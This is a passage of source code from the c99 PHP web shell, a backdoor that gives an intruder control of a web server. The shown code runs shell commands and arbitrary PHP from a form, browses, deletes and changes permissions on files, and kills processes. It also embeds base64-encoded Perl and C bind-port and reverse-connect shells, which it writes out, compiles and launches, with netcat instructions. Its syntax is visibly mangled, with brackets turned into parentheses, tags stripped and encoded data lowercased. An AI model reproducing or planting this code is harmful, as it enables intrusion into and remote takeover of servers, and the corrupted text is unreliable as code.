$rows = count (explode ("\r\n",$ret))+1;
if ($rows 10) ($rows = 10;)
echo "brtextarea cols=\"122\" rows=\"".$rows."\" readonly".htmlspecialchars ($ret)."/textarea";
)
else (echo $ret."br";)
@chdir ($olddir);
)
else (echo "bexecution command/b"; if (empty ($cmd_txt)) ($cmd_txt = true;))
echo "form action=\"".$surl."act=cmd\" method=\"post\"textarea name=\"cmd\" cols=\"122\" rows=\"10\"".htmlspecialchars ($cmd)."/textareainput type=\"hidden\" name=\"d\" value=\"".$dispd."\"brbrinput type=\"submit\" name=\"submit\" value=\"execute\" display in text-area input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) (echo " checked";) echo "/form";
)
)
if ($act == "ls")
(
if (count ($ls_arr) 0) ($list = $ls_arr;)
else
(
$list = array ();
if ($h = @opendir ($d))
(
while ( ($o = readdir ($h))!== false) ($list () = $d.$o;)
closedir ($h);
)
)
if (count ($list) == 0) (echo "centerbcan't open directory (".htmlspecialchars ($d).")!/b/center";)
else
(
//building array
$objects = array ();
$vd = "f"; //viewing mode
if ($vd == "f")
(
$objects ("head") = array ();
$objects ("dirs") = array ();
$objects ("links") = array ();
$objects ("files") = array ();
foreach ($list as $v)
(
$o = basename ($v);
$row = array ();
if ($o == ".") ($row () = $d.$o; $row () = "link";)
elseif ($o == "..") ($row () = $d.$o; $row () = "link";)
elseif (is_dir ($v))
(
if (is_link ($v)) ($type = "link";)
else ($type = "dir";)
$row () = $v;
$row () = $type;
)
elseif (is_file ($v)) ($row () = $v; $row () = filesize ($v);)
$row () = filemtime ($v);
if (!$win)
(
$ow = @posix_getpwuid (fileowner ($v));
$gr = @posix_getgrgid (filegroup ($v));
$row () = $ow ("name")."/".$gr ("name");
$row () = fileowner ($v)."/".filegroup ($v);
)
$row () = fileperms ($v);
if ( ($o == ".") or ($o == "..")) ($objects ("head") () = $row;)
elseif (is_link ($v)) ($objects ("links") () = $row;)
elseif (is_dir ($v)) ($objects ("dirs") () = $row;)
elseif (is_file ($v)) ($objects ("files") () = $row;)
)
$row = array ();
$row () = "bname/b";
$row () = "bsize/b";
$row () = "bmodify/b";
if (!$win)
($row () = "bowner/group/b";)
$row () = "bperms/b";
$row () = "baction/b";
$k = $sort (0);
if (!is_numeric ($k)) ($k = $sort (0) = 0;)
if ($sort (1)!= "a") ($sort (1) = "d";)
$y = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&sort=".$k. ($sort (1) == "a"?"d":"a")."\"";
$y.= "img src=\"".$surl."act=img&img=sort_". ($sort (1) == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"". ($sort (1) == "a"?"asc.":"desc")."\" border=\"0\"/a";
$row ($k).= $y;
for ($i=0;$icount ($row)-1;$i++)
(
if ($i!= $k) ($row ($i) = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&sort=".$i.$sort (1)."\"".$row ($i)."/a";)
)
$v = $sort (0);
usort ($objects ("dirs"), "tabsort");
usort ($objects ("links"), "tabsort");
usort ($objects ("files"), "tabsort");
if ($sort (1) == "d")
(
$objects ("dirs") = array_reverse ($objects (dirs));
$objects ("files") = array_reverse ($objects (files));
)
$objects = array_merge ($objects ("head"),$objects ("dirs"),$objects ("links"),$objects ("files"));
$tab = array ();
$tab ("cols") = array ($row);
$tab ("head") = array ();
$tab ("dirs") = array ();
$tab ("links") = array ();
$tab ("files") = array ();
foreach ($objects as $a)
(
$v = $a (0);
$o = basename ($v);
$dir = dirname ($v);
if ($disp_fullpath) ($disppath = $v;)
else ($disppath = $o;)
$disppath = str2mini ($disppath,60);
if (in_array ($v,$sess_data ("cut"))) ($disppath = "strike".$disppath."/strike";)
elseif (in_array ($v,$sess_data ("copy"))) ($disppath = "u".$disppath."/u";)
foreach ($regxp_highlight as $r)
(
if (ereg ($r (0),$o))
(
if ( (!is_numeric ($r (1))) or ($r (1) 3)) ($r (1) = 0; ob_clean (); echo "warning! configuration error in \$regxp_highlight (".$k.") (0) - unknown command"; exit;)
else
(
$r (1) = round ($r (1));
$isdir = is_dir ($v);
if ( ($r (1) == 0) or ( ($r (1) == 1) and!$isdir) or ( ($r (1) == 2) and!$isdir))
(
if (empty ($r (2))) ($r (2) = "b"; $r (3) = "/b";)
$disppath = $r (2).$disppath.$r (3);
if ($r (4)) (break;)
)
)
)
)
$uo = urlencode ($o);
$ud = urlencode ($dir);
$uv = urlencode ($v);
$row = array ();
if ($o == ".")
(
$row () = "img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\" a href=\"".$surl."act=".$dspact."&d=".urlencode (realpath ($d.$o))."\"".$o."/a";
$row () = "link";
)
elseif ($o == "..")
(
$row () = "img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\" a href=\"".$surl."act=".$dspact."&d=".urlencode (realpath ($d.$o))."&sort=".$sort."\"".$o."/a";
$row () = "link";
)
elseif (is_dir ($v))
(
if (is_link ($v))
(
$disppath.= " = ".readlink ($v);
$type = "link";
$row () = "img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\" a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\" (".$disppath.")/a";
)
else
(
$type = "dir";
$row () = "img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\" a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\" (".$disppath.")/a";
)
$row () = $type;
)
elseif (is_file ($v))
(
$ext = explode (".",$o);
$c = count ($ext)-1;
$ext = $ext ($c);
$ext = strtolower ($ext);
$row () = "img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\" a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\"".$disppath."/a";
$row () = view_size ($a (1));
)
$row () = date ("d.m.y h:i:s",$a (2));
if (!$win) ($row () = $a (3);)
$row () = "a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"b".view_perms_color ($v)."/b/a";
if (is_dir ($v)) ($row () = "a href=\"".$surl."act=d&d=".$uv."\"img src=\"".$surl."act=img&img=ext_diz\" alt=\"info\" height=\"16\" width=\"16\" border=\"0\"/a input type=\"checkbox\" name=\"actbox ()\" value=\"".htmlspecialchars ($v)."\"";)
else ($row () = "a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"img src=\"".$surl."act=img&img=ext_diz\" alt=\"info\" height=\"16\" width=\"16\" border=\"0\"/a a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"img src=\"".$surl."act=img&img=change\" alt=\"change\" height=\"16\" width=\"19\" border=\"0\"/a a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"img src=\"".$surl."act=img&img=download\" alt=\"download\" height=\"16\" width=\"19\" border=\"0\"/a input type=\"checkbox\" id=\"ls_dir ()\" name=\"actbox ()\" value=\"".htmlspecialchars ($v)."\"";)
if ( ($o == ".") or ($o == "..")) ($tab (head) () = $row;)
elseif (is_link ($v)) ($tab ("links") () = $row;)
elseif (is_dir ($v)) ($tab ("dirs") () = $row;)
elseif (is_file ($v)) ($tab ("files") () = $row;)
)
)
//compiling table
$table = array_merge ($tab ("cols"),$tab ("head"),$tab ("dirs"),$tab ("links"),$tab ("files"));
echo "centerblisting directory (".count ($tab ("files"))." files and ". (count ($tab ("dirs"))+count ($tab ("links")))." directories):/b/centerbrtable cellspacing=0 cellpadding=0 width=100% bgcolor=#333333 bordercolorlight=#333333 border=0form method=\"post\"";
foreach ($table as $row)
(
echo "tr\r\n";
foreach ($row as $v) (echo "td".$v."/td\r\n";)
echo "/tr\r\n";
)
echo "/tablehr size=\"1\" noshadep align=\"right\"bimg src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"";
if (count (array_merge ($sess_data ("copy"),$sess_data ("cut"))) 0 and ($usefsbuff))
(
echo "input type=\"submit\" name=\"actarcbuff\" value=\"pack buffer to archive\" input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr (md5 (rand (1,1000).rand (1,1000)),0,5).".tar.gz\" input type=\"submit\" name=\"actpastebuff\" value=\"paste\" input type=\"submit\" name=\"actemptybuff\" value=\"empty buffer\" ";
)
echo "select name=\"act\"option value=\"".$act."\"with selected:/option";
echo "option value=\"delete\"".gchds ($dspact,"delete"," selected")."delete/option";
echo "option value=\"chmod\"".gchds ($dspact,"chmod"," selected")."change-mode/option";
if ($usefsbuff)
(
echo "option value=\"cut\"".gchds ($dspact,"cut"," selected")."cut/option";
echo "option value=\"copy\"".gchds ($dspact,"copy"," selected")."copy/option";
echo "option value=\"unselect\"".gchds ($dspact,"unselect"," selected")."unselect/option";
)
echo "/select input type=\"submit\" value=\"confirm\"/p";
echo "/form";
)
)
if ($act == "bind")
(
$bndsrcs = array (
"c99sh_bindport.pl"=
"iyevdxnyl2jpbi9wzxjsdqppziaoqefsr1ygpcaxksb7zxhpdcgxktt9dqokcg9ydca9icrbukdw".
"wzbdow0kzxhpdcbpzibmb3jrow0kjdagpsaidxbkyxrlzgiiic4giiaiihgxmda7dqoku0lhe0ni".
"ter9id0gj0lhtk9srsc7dqp1c2ugu29ja2v0ow0kc29ja2v0kfmsifbgx0lorvqsifnpq0tfu1rs".
"rufnlcawktsncnnldhnvy2tvchqouywgu09mx1npq0tfvcwgu09fukvvu0vbrerslcaxktsncmjp".
"bmqouywgc29ja2fkzhjfaw4ojhbvcnqsieloqureul9btlkpktsncmxpc3rlbihtlca1mck7dqph".
"y2nlchqowcxtktsncm9wzw4gu1resu4sici8jlgiow0kb3blbibtverpvvqsici+jlgiow0kb3bl".
"bibtverfulisici+jlgiow0kzxhlyygizwnobybcildlbgnvbwugdg8gyzk5c2hlbgwhxhjcblxy".
"xg5ciiipow0kd2hpbguomskncnsncibhy2nlchqowcwguyk7dqogdw5szxnzkgzvcmspdqogew0k".
"icbvcgvuifnurelolcaipczyijsnciagb3blbibtverpvvqsici+jlgiow0kicbjbg9zzsbyow0k".
"icblegvjkcivymlul3noiik7dqogfq0kignsb3nlifg7dqp9",
"c99sh_bindport.c"=
"i2luy2x1zgugphn0zglvlmg+dqojaw5jbhvkzsa8c3ryaw5nlmg+dqojaw5jbhvkzsa8c3lzl3r5".
"cgvzlmg+dqojaw5jbhvkzsa8c3lzl3nvy2tldc5opg0ki2luy2x1zgugpg5ldgluzxqvaw4uad4n".
"cinpbmnsdwrlidxlcnjuby5opg0kaw50ig1haw4oyxjnyyxhcmd2kq0kaw50igfyz2m7dqpjagfy".
"icoqyxjndjsncnsgia0kigludcbzb2nrzmqsig5ld2zkow0kignoyxigynvmwzmwxtsncibzdhj1".
"y3qgc29ja2fkzhjfaw4gcmvtb3rlow0kiglmkgzvcmsoksa9psawksb7ia0kihjlbw90zs5zaw5f".
"zmftawx5id0gquzfsu5fvdsncibyzw1vdguuc2lux3bvcnqgpsbodg9ucyhhdg9pkgfyz3zbmv0p".
"ktsncibyzw1vdguuc2lux2fkzhiuc19hzgryid0gahrvbmwosu5brersx0fowsk7ia0kihnvy2tm".
"zca9ihnvy2tldchbrl9jtkvulfnpq0tfu1rsrufnldapow0kiglmkcfzb2nrzmqpihblcnjvcigi".
"c29ja2v0igvycm9yiik7dqogymluzchzb2nrzmqsichzdhj1y3qgc29ja2fkzhigkikmcmvtb3rl".
"lcawedewktsncibsaxn0zw4oc29ja2zklca1ktsncib3aglszsgxkq0kicb7dqogicbuzxdmzd1h".
"y2nlchqoc29ja2zkldasmck7dqogicbkdxaykg5ld2zkldapow0kicagzhvwmihuzxdmzcwxktsn".
"ciagigr1cdiobmv3zmqsmik7dqogicb3cml0zshuzxdmzcwiugfzc3dvcmq6iiwxmck7dqogicby".
"zwfkkg5ld2zklgj1zixzaxplb2yoynvmksk7dqogicbpziaoiwnocgfzcyhhcmd2wzjdlgj1zikp".
"dqogicbzexn0zw0oimvjag8gd2vsy29tzsb0bybjotlzagvsbcamjiavymlul2jhc2gglwkiktsn".
"ciagigvsc2unciagigzwcmludgyoc3rkzxjylcjtb3jyesipow0kicagy2xvc2uobmv3zmqpow0k".
"icb9dqogfq0kfq0kaw50ignocgfzcyhjagfyicpiyxnllcbjagfyicplbnrlcmvkksb7dqppbnqg".
"atsncmzvcihppta7atxzdhjszw4ozw50zxjlzck7assrksancnsncmlmkgvudgvyzwrbav0gpt0g".
"j1xujykncmvudgvyzwrbav0gpsanxdanoyancmlmkgvudgvyzwrbav0gpt0gj1xyjykncmvudgvy".
"zwrbav0gpsanxdanow0kfq0kawygkcfzdhjjbxaoymfzzsxlbnrlcmvkkskncnjldhvybiawow0k".
"fq==",
"c99sh_backconn.pl"=
"iyevdxnyl2jpbi9wzxjsdqp1c2ugu29ja2v0ow0kjgntzd0gimx5bngiow0kj".
"hn5c3rlbt0gj2vjag8gimb1bmftzsatywaio2vjag8gimbpzgaioy9iaw4vc2gnow0kjda9jgntz".
"dsncir0yxjnzxq9jefsr1zbmf07dqokcg9ydd0kqvjhvlsxxtsncirpywrkcj1pbmv0x2f0b24oj".
"hrhcmdldckgfhwgzgllkcjfcnjvcjogjcfcbiipow0kjhbhzgrypxnvy2thzgryx2lukcrwb3j0l".
"cakawfkzhipihx8igrpzsgirxjyb3i6icqhxg4iktsncirwcm90bz1nzxrwcm90b2j5bmftzsgnd".
"gnwjyk7dqpzb2nrzxqou09ds0vulcbqrl9jtkvulcbtt0nlx1nuukvbtswgjhbyb3rvksb8fcbka".
"wuoikvycm9yoiakivxuiik7dqpjb25uzwn0kfnpq0tfvcwgjhbhzgryksb8fcbkawuoikvycm9yo".
"iakivxuiik7dqpvcgvukfnurelolcaipiztt0nlrvqiktsncm9wzw4ou1ret1vulcaipiztt0nlr".
"vqiktsncm9wzw4ou1rervjslcaipiztt0nlrvqiktsncnn5c3rlbsgkc3lzdgvtktsncmnsb3nlk".
"fnureloktsncmnsb3nlkfnure9vvck7dqpjbg9zzshtverfulipow==",
"c99sh_backconn.c"=
"i2luy2x1zgugphn0zglvlmg+dqojaw5jbhvkzsa8c3lzl3nvy2tldc5opg0ki2luy2x1zgugpg5l".
"dgluzxqvaw4uad4ncmludcbtywlukgludcbhcmdjlcbjagfyicphcmd2w10pdqp7dqogaw50igzk".
"ow0kihn0cnvjdcbzb2nrywrkcl9pbibzaw47dqogy2hhcibybxnbmjfdpsjybsatziaioyancibk".
"ywvtb24omswwktsncibzaw4uc2lux2zhbwlsesa9iefgx0lorvq7dqogc2lulnnpbl9wb3j0id0g".
"ahrvbnmoyxrvashhcmd2wzjdksk7dqogc2lulnnpbl9hzgrylnnfywrkcia9igluzxrfywrkcihh".
"cmd2wzfdktsgdqogynplcm8oyxjndlsxxsxzdhjszw4oyxjndlsxxskrmstzdhjszw4oyxjndlsy".
"xskpoyancibmzca9ihnvy2tldchbrl9jtkvulcbtt0nlx1nuukvbtswgsvbquk9ut19uq1apidsg".
"dqogawygkchjb25uzwn0kgzklcaoc3rydwn0ihnvy2thzgryicopiczzaw4sihnpemvvzihzdhj1".
"y3qgc29ja2fkzhipksk8mckgew0kicagcgvycm9ykcjblv0gy29ubmvjdcgpiik7dqogicblegl0".
"kdapow0kih0ncibzdhjjyxqocm1zlcbhcmd2wzbdktsncibzexn0zw0ocm1zktsgia0kigr1cdio".
"zmqsidapow0kigr1cdiozmqsidepow0kigr1cdiozmqsidipow0kigv4zwnskcivymlul3noiiwi".
"c2gglwkilcbovuxmktsncibjbg9zzshmzck7ia0kfq=="
);
$bndportsrcs = array (
"c99sh_bindport.pl"=array ("using perl","perl %path %port"),
"c99sh_bindport.c"=array ("using c","%path %port %pass")
);
$bcsrcs = array (
"c99sh_backconn.pl"=array ("using perl","perl %path %host %port"),
"c99sh_backconn.c"=array ("using c","%path %host %port")
);
if ($win) (echo "bbinding port and back connect:/bbrthis functions not work in windows!brbr";)
else
(
if (!is_array ($bind)) ($bind = array ();)
if (!is_array ($bc)) ($bc = array ();)
if (!is_numeric ($bind ("port"))) ($bind ("port") = $bindport_port;)
if (empty ($bind ("pass"))) ($bind ("pass") = $bindport_pass;)
if (empty ($bc ("host"))) ($bc ("host") = $remote_addr;)
if (!is_numeric ($bc ("port"))) ($bc ("port") = $bindport_port;)
if (!empty ($bindsubmit))
(
echo "bresult of binding port:/bbr";
$v = $bndportsrcs ($bind ("src"));
if (empty ($v)) (echo "unknown file!br";)
elseif (fsockopen ($server_addr,$bind ("port"),$errno,$errstr,0.1)) (echo "port alredy in use, select any other!br";)
else
(
$srcpath = $tmpdir.$bind ("src");
$w = explode (".",$bind ("src"));
$ext = $w (count ($w)-1);
unset ($w (count ($w)-1));
$binpath = $tmpdir.join (".",$w);
if ($ext == "pl") ($binpath = $srcpath;)
@unlink ($srcpath);
$fp = fopen ($srcpath,"ab+");
if (!$fp) (echo "can't write sources to \"".$srcpath."\"!br";)
else
(
$data = base64_decode ($bndsrcs ($bind ("src")));
fwrite ($fp,$data,strlen ($data));
fclose ($fp);
if ($ext == "c") ($retgcc = myshellexec ("gcc -o ".$binpath." ".$srcpath); @unlink ($srcpath);)
$v (1) = str_replace ("%path",$binpath,$v (1));
$v (1) = str_replace ("%port",$bind ("port"),$v (1));
$v (1) = str_replace ("%pass",$bind ("pass"),$v (1));
$v (1) = str_replace ("//","/",$v (1));
$retbind = myshellexec ($v (1)." /dev/null &");
sleep (5);
$sock = fsockopen ("localhost",$bind ("port"),$errno,$errstr,5);
if (!$sock) (echo "i can't connect to localhost:".$bind ("port")."! i think you should configure your firewall.";)
else (echo "binding... ok! connect to b".$server_addr.":".$bind ("port")."/b! you should use netcat©, run \"bnc -v ".$server_addr." ".$bind ("port")."/b\"!centera href=\"".$surl."act=ps_aux&grep=".basename ($binpath)."\"uview binder's process/u/a/center";)
)
echo "br";
)
)
if (!empty ($bcsubmit))
(
echo "bresult of back connection:/bbr";
$v = $bcsrcs ($bc ("src"));
if (empty ($v)) (echo "unknown file!br";)
else
(
$srcpath = $tmpdir.$bc ("src");
$w = explode (".",$bc ("src"));
$ext = $w (count ($w)-1);
unset ($w (count ($w)-1));
$binpath = $tmpdir.join (".",$w);
if ($ext == "pl") ($binpath = $srcpath;)
@unlink ($srcpath);
$fp = fopen ($srcpath,"ab+");
if (!$fp) (echo "can't write sources to \"".$srcpath."\"!br";)
else
(
$data = base64_decode ($bndsrcs ($bind (src)));
fwrite ($fp,$data,strlen ($data));
fclose ($fp);
if ($ext == "c") ($retgcc = myshellexec ("gcc -o ".$binpath." ".$srcpath); @unlink ($srcpath);)
$v (1) = str_replace ("%path",$binpath,$v (1));
$v (1) = str_replace ("%host",$bc ("host"),$v (1));
$v (1) = str_replace ("%port",$bc ("port"),$v (1));
$v (1) = str_replace ("//","/",$v (1));
$retbind = myshellexec ($v (1)." /dev/null &");
echo "now script try connect to ".$bc ("host").":".$bc ("port")."...br";
)
)
)
?bbinding port:/bbrform method="post"input type="hidden" name="act" value="bind"input type="hidden" name="d" value="?php echo $d;?"port: input type="text" name="bind (port)" value="?php echo htmlspecialchars ($bind ("port"));?" password: input type="text" name="bind (pass)" value="?php echo htmlspecialchars ($bind ("pass"));?" select name="bind (src)"?php
foreach ($bndportsrcs as $k=$v) (echo "option value=\"".$k."\""; if ($k == $bind ("src")) (echo " selected";) echo "".$v (0)."/option";)
?/select input type="submit" name="bindsubmit" value="bind"/form
bback connection:/bbrform method="post"input type="hidden" name="act" value="bind"input type="hidden" name="d" value="?php echo $d;?"host: input type="text" name="bc (host)" value="?php echo htmlspecialchars ($bc ("host"));?" port: input type="text" name="bc (port)" value="?php echo htmlspecialchars ($bc ("port"));?" select name="bc (src)"?php
foreach ($bcsrcs as $k=$v) (echo "option value=\"".$k."\""; if ($k == $bc ("src")) (echo " selected";) echo "".$v (0)."/option";)
?/select input type="submit" name="bcsubmit" value="connect"/form
click "connect" only after open port for it. you should use netcat©, run "bnc -l -n -v -p <port>/b"!?php
)
)
if ($act == "ps_aux")
(
echo "bprocesses:/bbr";
if ($win) (echo "this function not work in windows!brbr";)
else
(
if ($pid)
(
if (!$sig) ($sig = 9;)
echo "sending signal ".$sig." to #".$pid."... ";
$ret = posix_kill ($pid,$sig);
if ($ret) (echo "ok. he is dead, amen.";)
else (echo "error.";)
)
$ret = myshellexec ("ps -aux");
if (!$ret) (echo "can't execute \"ps -aux\"!";)
else
(
$ret = htmlspecialchars ($ret);
while (ereg (" ",$ret)) ($ret = str_replace (" "," ",$ret);)
$stack = explode ("\n",$ret);
$head = explode (" ",$stack (0));
unset ($stack (0));
if (empty ($ps_aux_sort)) ($ps_aux_sort = $sort_default;)
if (!is_numeric ($ps_aux_sort (0))) ($ps_aux_sort (0) = 0;)
$k = $ps_aux_sort (0);
if ($ps_aux_sort (1)!= "a") ($y = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&ps_aux_sort=".$k."a\"img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"/a";)
else ($y = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&ps_aux_sort=".$k."d\"img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"/a";)
for ($i=0;$icount ($head);$i++)
(
if ($i!= $k) ($head ($i) = "a href=\"".$surl."act=".$dspact."&d=".urlencode ($d)."&ps_aux_sort=".$i.$ps_aux_sort (1)."\"b".$head ($i)."/b/a";)
)
$prcs = array ();
foreach ($stack as $line)
(
if (!empty ($line))
(
echo "tr";
$line = explode (" ",$line);
$line (10) = join (" ",array_slice ($line,10,count ($line)));
$line = array_slice ($line,0,11);
if ($line (0) == get_current_user ()) ($line (0) = "font color=\"green\"".$line (0)."/font";)
$line () = "a href=\"".$surl."act=ps_aux&d=".urlencode ($d)."&pid=".$line (1)."&sig=9\"ukill/u/a";
$prcs () = $line;
echo "/tr";
)
)
$head ($k) = "b".$head ($k)."/b".$y;
$head () = "baction/b";
$v = $ps_aux_sort (0);
usort ($prcs,"tabsort");
if ($ps_aux_sort (1) == "d") ($prcs = array_reverse ($prcs);)
$tab = array ();
$tab () = $head;
$tab = array_merge ($tab,$prcs);
echo "table height=1 cellspacing=0 bordercolordark=#666666 cellpadding=5 width=\"100%\" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1 bordercolor=\"#c0c0c0\"";
foreach ($tab as $k)
(
echo "tr";
foreach ($k as $v) (echo "td".$v."/td";)
echo "/tr";
)
echo "/table";
)
)
)
if ($act == "eval")
(
if (!empty ($eval))
(
echo "bresult of execution this php-code/b:br";
$tmp = ob_get_contents ();
$olddir = realpath (".");
@chdir ($d);
if ($tmp)
(
ob_clean ();
eval ($eval);
$ret = ob_get_contents ();
$ret = convert_cyr_string ($ret,"d","w");
ob_clean ();
echo $tmp;
if ($eval_txt)
(
$rows = count (explode ("\r\n",$ret))+1;
if ($rows 10) ($rows = 10;)
echo "brtextarea cols=\"122\" rows=\"".$rows."\" readonly".htmlspecialchars ($ret)."/textarea";
)
else (echo $ret."br";)
)
else
(
if ($eval_txt)
(
echo "brtextarea cols=\"122\" rows=\"15\" readonly";
eval ($eval);
echo "/textarea";
)
else (echo $ret;)
)
@chdir ($olddir);
)
else (echo "bexecution php-code/b"; if (empty ($eval_txt)) ($eval_txt = true;))
echo "form method=\"post\"textarea name=\"eval\" cols=\"122\" rows=\"10\"".htmlspecialchars ($eval)."/textareainput type=\"hidden\" name=\"d\" value=\"".$dispd."\"brbrinput type=\"submit\" value=\"execute\" display in text-area input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) (echo " checked";) echo "/form";
)
if ($act == "f")
(
if ( (!is_readable ($d.$f) or is_dir ($d.$f)) and $ft!= "edit")
(
if (file_exists ($d.$f)) (echo "centerbpermision denied (".htmlspecialchars ($d.$f).")!/b/center";)
else (echo "centerbfile does not exists (".htmlspecialchars ($d.$f).")!/bbra href=\"".$surl."act=f&f=".urlencode ($f)."&ft=edit&d=".urlencode ($d)."&c=1\"ucreate/u/a/center";)
)
else
(
$r = @file_get_contents ($d.$f);
$ext = explode (".",$f);
$c = count ($ext)-1;
$ext = $ext ($c);
$ext = strtolower ($ext);
$rft = "";
foreach ($ftypes as $k=$v) (if (in_array ($ext,$v)) ($rft = $k; break;))
if (eregi ("sess_ (.*)",$f)) ($rft = "phpsess";)
if (empty ($ft)) ($ft = $rft;)
$arr = array (
array ("img src=\"".$surl."act=img&img=ext_diz\" border=\"0\"","info"),
array ("img src=\"".$surl."act=img&img=ext_html\" border=\"0\"","html"),
array ("img src=\"".$surl."act=img&img=ext_txt\" border=\"0\"","txt"),
array ("code","code"),
array ("session","phpsess"),
array ("img src=\"".$surl."act=img&img=ext_exe\" border=\"0\"","exe"),
array ("sdb","sdb"),
array ("img src=\"".$surl."act=img&img=ext_gif\" border=\"0\"","img"),
array ("img src=\"".$surl."act=img&img=ext_ini\" border=\"0\"","ini"),
array ("img src=\"".$surl."act=img&img=download\" border=\"0\"","download"),
array ("img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\"","notepad"),
array ("img src=\"".$surl."act=img&img=change\" border=\"0\"","edit")
);
echo "bviewing file: img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\" ".$f." (".view_size (filesize ($d.$f)).") ".view_perms_color ($d.$f)."/bbrselect action/file-type:br";
foreach ($arr as $t)
(
if ($t (1) == $rft) (echo " a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=".$t (1)."&d=".urlencode ($d)."\"font color=\"green\"".$t (0)."/font/a";)
elseif ($t (1) == $ft) (echo " a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=".$t (1)."&d=".urlencode ($d)."\"bu".$t (0)."/u/b/a";)
else (echo " a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=".$t (1)."&d=".urlencode ($d)."\"b".$t (0)."/b/a";)
echo " (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=".$t (1)."&white=1&d=".urlencode ($d)."\" target=\"_blank\"+/a) |";
)
echo "hr size=\"1\" noshade";
if ($ft == "info")
(
echo "binformation:/btable border=0 cellspacing=1 cellpadding=2trtdbpath/b/tdtd ".$d.$f."/td/trtrtdbsize/b/tdtd ".view_size (filesize ($d.$f))."/td/trtrtdbmd5/b/tdtd ".md5_file ($d.$f)."/td/tr";
if (!$win)
(
echo "trtdbowner/group/b/tdtd ";
$tmp = posix_getpwuid (fileowner ($d.$f));
if ($tmp ("name") == "") (echo fileowner ($d.$f)."/";)
else (echo $tmp ("name")."/";)
$tmp = posix_getgrgid (filegroup ($d.$f));
if ($tmp ("name") == "") (echo filegroup ($d.$f);)
else (echo $tmp ('name');)
)
echo "trtdbperms/b/tdtda href=\"".$surl."act=chmod&f=".urlencode ($f)."&d=".urlencode ($d)."\"".view_perms_color ($d.$f)."/a/td/trtrtdbcreate time/b/tdtd ".date ("d/m/y h:i:s",filectime ($d.$f))."/td/trtrtdbaccess time/b/tdtd ".date ("d/m/y h:i:s",fileatime ($d.$f))."/td/trtrtdbmodify time/b/tdtd ".date ("d/m/y h:i:s",filemtime ($d.$f))."/td/tr/tablebr";
$fi = fopen ($d.$f,"rb");
if ($fi)
(
if ($fullhexdump) (echo "bfull hexdump/b"; $str = fread ($fi,filesize ($d.$f));)
else (echo "bhexdump preview/b"; $str = fread ($fi,$hexdump_lines*$hexdump_rows);)
$n = 0;
$a0 = "00000000br";
$a1 = "";
$a2 = "";
for ($i=0; $istrlen ($str); $i++)
(
$a1.= sprintf ("%02x",ord ($str ($i)))." ";
switch (ord ($str ($i)))
(
case 0: $a2.= "font0/font"; break;
case 32:
case 10:
case 13: $a2.= " "; break;
default: $a2.= htmlspecialchars ($str ($i));
)
$n++;
if ($n == $hexdump_rows)
(
$n = 0;
if ($i+1 strlen ($str)) ($a0.= sprintf ("%08x",$i+1)."br";)
$a1.= "br";
$a2.= "br";
)
)
//if ($a1!= "") ($a0.= sprintf ("%08x",$i)."br";)
echo "table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4trtd bgcolor=#666666".$a0."/tdtd bgcolor=000000".$a1."/tdtd bgcolor=000000".$a2."/td/tr/tablebr";
)
$encoded = "";
if ($base64 == 1)
(
echo "bbase64 encode/bbr";
$encoded = base64_encode (file_get_contents ($d.$f));
)
elseif ($base64 == 2)
(
echo "bbase64 encode + chunk/bbr";
$encoded = chunk_split (base64_encode (file_get_contents ($d.$f)));
)
elseif ($base64 == 3)
(
echo "bbase64 encode + chunk + quotes/bbr";
$encoded = base64_encode (file_get_contents ($d.$f));
$encoded = substr (preg_replace ("!. (1,76)!","'\\0'.\n",$encoded),0,-2);
)
elseif ($base64 == 4)
(
$text = file_get_contents ($d.$f);
$encoded = base64_decode ($text);
echo "bbase64 decode";
if (base64_encode ($encoded)!= $text) (echo " (failed)";)
echo "/bbr";
)
if (!empty ($encoded))
(
echo "textarea cols=80 rows=10".htmlspecialchars ($encoded)."/textareabrbr";
)
echo "bhexdump:/bnobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&fullhexdump=1&d=".urlencode ($d)."\"full/a) (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&d=".urlencode ($d)."\"preview/a)brbbase64: /b
nobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&base64=1&d=".urlencode ($d)."\"encode/a) /nobr
nobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&base64=2&d=".urlencode ($d)."\"+chunk/a) /nobr
nobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&base64=3&d=".urlencode ($d)."\"+chunk+quotes/a) /nobr
nobr (a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=info&base64=4&d=".urlencode ($d)."\"decode/a) /nobr
p";
)
elseif ($ft == "html")
(
if ($white) (@ob_clean ();)
echo $r;
if ($white) (exit;)
)
